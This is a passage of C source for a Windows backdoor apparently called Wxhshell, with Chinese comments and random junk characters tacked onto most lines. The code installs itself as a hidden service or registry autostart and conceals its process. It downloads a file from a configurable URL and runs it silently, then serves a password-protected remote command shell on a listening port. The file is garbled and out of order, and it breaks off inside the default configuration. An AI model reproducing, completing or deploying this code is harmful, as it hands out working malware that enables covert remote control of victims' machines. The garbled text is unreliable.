$UF
} PROCESS_BASIC_INFORMATION; )LXoey!aZ
v`[Tl
PROCNTQSIP NtQueryInformationProcess; e67c:Z
AijPN
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "E@NZ*"u
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HGP%a1RF#
!$:0E
y(S
HANDLE hProcess; M iP[UCh
PROCESS_BASIC_INFORMATION pbi; d1srV`
otmIu` h
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b
xk'a,!S
if(NULL == hInst ) return 0; |'V<>v.v
IqvqvHxLX
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LVR;&Z>j
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l>3M|js@/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E%wV
n9<roH
if (!NtQueryInformationProcess) return 0; lKh2LY=j
VTy,43<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ 6+,R
if(!hProcess) return 0;
"?2
F]K$u<U
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \N#
HPrv}
%5Q7 #xU
CloseHandle(hProcess); i#pjv'C
Mr5('9%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^]#Ptoz^(l
if(hProcess==NULL) return 0; [OFTP#}c
)1ZJ
HMODULE hMod; B|]t\(~$[
char procName[255]; ,(@Y%UW:
unsigned long cbNeeded; %fn'iKCB
"k\Ff50
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JEK%yMj
F"B<R~
CloseHandle(hProcess); Sah<sb=
6i9Q,4~
if(strstr(procName,"services")) return 1; // 以服务启动 0UM@L
}L
K^z5x#Yj
return 0; // 注册表启动 Y0P}KPD
} }<5\O*kX4
])Q9=?Sd}
// 主模块 ?YkO+?}+
int StartWxhshell(LPSTR lpCmdLine) N27K
{ h@PMCmf_
SOCKET wsl; dyQ<UT
BOOL val=TRUE; 7.lK$J:
int port=0; 8
7|8eU2:k
struct sockaddr_in door; 3<KZ.hr
:)A.E}G
if(wscfg.ws_autoins) Install(); )RAv[U1
SxLHFN]
port=atoi(lpCmdLine); ??$i*
#"=yQZ6Y
if(port<=0) port=wscfg.ws_port; jt'Y(u]2
S+_A
<p
WSADATA data; 4t+/
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O)$N}V0
*'s2
K
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; GDo)6du
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c"%_]7
door.sin_family = AF_INET; &dZ.+#8r
door.sin_addr.s_addr = inet_addr("127.0.0.1"); V\k5h
door.sin_port = htons(port); 7)8rc(58
OVQxZ~uQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {jx#^n&5R
closesocket(wsl); ,{`o/F/
return 1; 0btmao-
} cjy0s+>>
n7`.<*:
if(listen(wsl,2) == INVALID_SOCKET) { Sq?6R}q%
closesocket(wsl); eSvc/ CU
return 1; ;4S
[ba1/
} :r
vO8.\
Wxhshell(wsl); )<}VP&:X
WSACleanup(); A_6/umF[ZA
>"sKfiM)b
return 0; 0f=N3)
j-I6QUd
} eBSn1n
6,g5To#vw
// 以NT服务方式启动 T|BY00Sz`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jziA;6uL
{ *s<dgFA'
DWORD status = 0; Vne.HFXA
DWORD specificError = 0xfffffff; "b1R5(Ar
K;ry4/Vap
serviceStatus.dwServiceType = SERVICE_WIN32; ^;bGP.!p
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `3>)BV<P
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O'&X aaZV
serviceStatus.dwWin32ExitCode = 0; P60]ps!M
serviceStatus.dwServiceSpecificExitCode = 0; 3*2&Fw!B
serviceStatus.dwCheckPoint = 0;
Skk3M?
serviceStatus.dwWaitHint = 0; zM8/s96h
bb
O;AiHD
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZAnO$pA
if (hServiceStatusHandle==0) return; qG2\`+v
[r/Seg"
status = GetLastError(); 9/X v&<Tn
if (status!=NO_ERROR) PU@U@
{ 1+i
serviceStatus.dwCurrentState = SERVICE_STOPPED; ++p&
x{
serviceStatus.dwCheckPoint = 0; k+m_L{#m5
serviceStatus.dwWaitHint = 0; /J9T=N
serviceStatus.dwWin32ExitCode = status; w_z^5\u0
serviceStatus.dwServiceSpecificExitCode = specificError; c;t(j'k`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ \mO+N47i
return; nE"b`
} cnUU1Uz>
g9lg
serviceStatus.dwCurrentState = SERVICE_RUNNING; KbuGf$Bv
serviceStatus.dwCheckPoint = 0; ae(]9 VW
serviceStatus.dwWaitHint = 0; K7&8;So
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q@RY.&mgW
} >G3J3P(
_^2[(<Gmv
// 处理NT服务事件,比如:启动、停止 W!Ct[t
VOID WINAPI NTServiceHandler(DWORD fdwControl) '`goy%Wd
{ WCfe!P?g
switch(fdwControl) OAnn`*5Up
{ d[Fr
case SERVICE_CONTROL_STOP: !#|fuOWe
serviceStatus.dwWin32ExitCode = 0; 5tCq}]q#P
serviceStatus.dwCurrentState = SERVICE_STOPPED; X9`C2fyVd
serviceStatus.dwCheckPoint = 0; Xi`U`7?D(=
serviceStatus.dwWaitHint = 0; `zsk*W1GA
{ {^19.F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @XG`D>%k
} ?28GQyk4
return; )
ImIPSL
case SERVICE_CONTROL_PAUSE: q2U"k
serviceStatus.dwCurrentState = SERVICE_PAUSED; R^O)fL 0_
break; LAVt/TcZS|
case SERVICE_CONTROL_CONTINUE: ;eEtdoy
serviceStatus.dwCurrentState = SERVICE_RUNNING; H2_>Av{m
break; Zz*mf+
case SERVICE_CONTROL_INTERROGATE: [6gHi.`p'
break; %Ja{IWz9L
}; E,?aBRxy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Carg~T@
} @U.}Ei
m=l3O:~J
// 标准应用程序主函数 ]3#
@t:>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N{ z(|2{A#
{ P :h4
(Gk]<`d#N
// 获取操作系统版本 G@I_6cE
OsIsNt=GetOsVer(); T^H ) lC#R
GetModuleFileName(NULL,ExeFile,MAX_PATH); X qva&/-
v5bb|o[{K
// 从命令行安装 vc1GmB
if(strpbrk(lpCmdLine,"iI")) Install(); ~4X!8b_
Mw7UU1 ei
// 下载执行文件 Q+js2?7^
if(wscfg.ws_downexe) { cZ2,
u,4
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iwTBE]J
WinExec(wscfg.ws_filenam,SW_HIDE); BL^Hj
} PaI63 !
o|n0?bThS-
if(!OsIsNt) { hahD.P<
// 如果时win9x,隐藏进程并且设置为注册表启动 SSM>
ID
HideProc(); Uo)<_nG
StartWxhshell(lpCmdLine); ~map5@Kd
} aeLo;!Jh
else /@}# KP=
if(StartFromService()) cZF;f{t
// 以服务方式启动 LzSusjEW@
StartServiceCtrlDispatcher(DispatchTable); b020U>)v
else $zA[5}{ZtQ
// 普通方式启动 q'-l;V|
StartWxhshell(lpCmdLine); jN{xpd
f!Nc+
return 0; ;HwJw\fo
} T
]nR
XW$
Vw@x
X_S]8Aa
F7u%oLjr
=========================================== (=B7_jrl
%z_b/yG
5*'N Q010
6 FxndR;
KFG^vmrn
UdgI<a~`k6
" Uy'ZL(2
" yl"A4p
S
#include <stdio.h> `X03Q[:q"[
#include <string.h> &I_!&m~
#include <windows.h> r<H^%##,w
#include <winsock2.h> R2f,a*>
#include <winsvc.h> I{UB!0H
#include <urlmon.h> 7ib<Cb>K
#yOY&W:N
#pragma comment (lib, "Ws2_32.lib") znpZ0O\!
#pragma comment (lib, "urlmon.lib") RwHXn]1
Os]M$c_88
#define MAX_USER 100 // 最大客户端连接数 j~>
#{"C
#define BUF_SOCK 200 // sock buffer qiJ;v1
#define KEY_BUFF 255 // 输入 buffer XE%6c3s
I}3K,w/7mi
#define REBOOT 0 // 重启 bv" ({:x
#define SHUTDOWN 1 // 关机 Bm>(m{sX>
iEO2Bil]
#define DEF_PORT 5000 // 监听端口 Nxk'!:
5 :>
#define REG_LEN 16 // 注册表键长度 %R "nm
#define SVC_LEN 80 // NT服务名长度 Z'M@DY/fdK
KAEpFobYo
// 从dll定义API U .jMK{
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I4ct``Di
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :dc
J6
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P?ol]MwaB
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z1A-EeT
!.N=Y;@lY
// wxhshell配置信息 ~&|i'f[
struct WSCFG { oK[,xqyA
int ws_port; // 监听端口 e+aQ$1^t
char ws_passstr[REG_LEN]; // 口令 FJ.
:*K[
int ws_autoins; // 安装标记, 1=yes 0=no jH/%Z5iu
char ws_regname[REG_LEN]; // 注册表键名 9Dkgu^`
char ws_svcname[REG_LEN]; // 服务名 k( ^ b
char ws_svcdisp[SVC_LEN]; // 服务显示名 f}d@G/L
char ws_svcdesc[SVC_LEN]; // 服务描述信息 +6E<+-N
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \dbtdhT;Z
int ws_downexe; // 下载执行标记, 1=yes 0=no g-uFss
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ee\zU~
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \wd`6
f
8U;T$)
}; j0M;2 3@[
</Lqk3S-!
// default Wxhshell configuration hZG{"O!2s
struct WSCFG wscfg={DEF_PORT, P3>2=qK"E(
"xuhuanlingzhe", 0 ']M,iC/
1, ^<b.j.$<z
"Wxhshell", 0+h?Bk
"Wxhshell", %uMsXa
"WxhShell Service", KwyXM9h6=
"Wrsky Windows CmdShell Service", M,lu)~H
"Please Input Your Password: ", y5
+&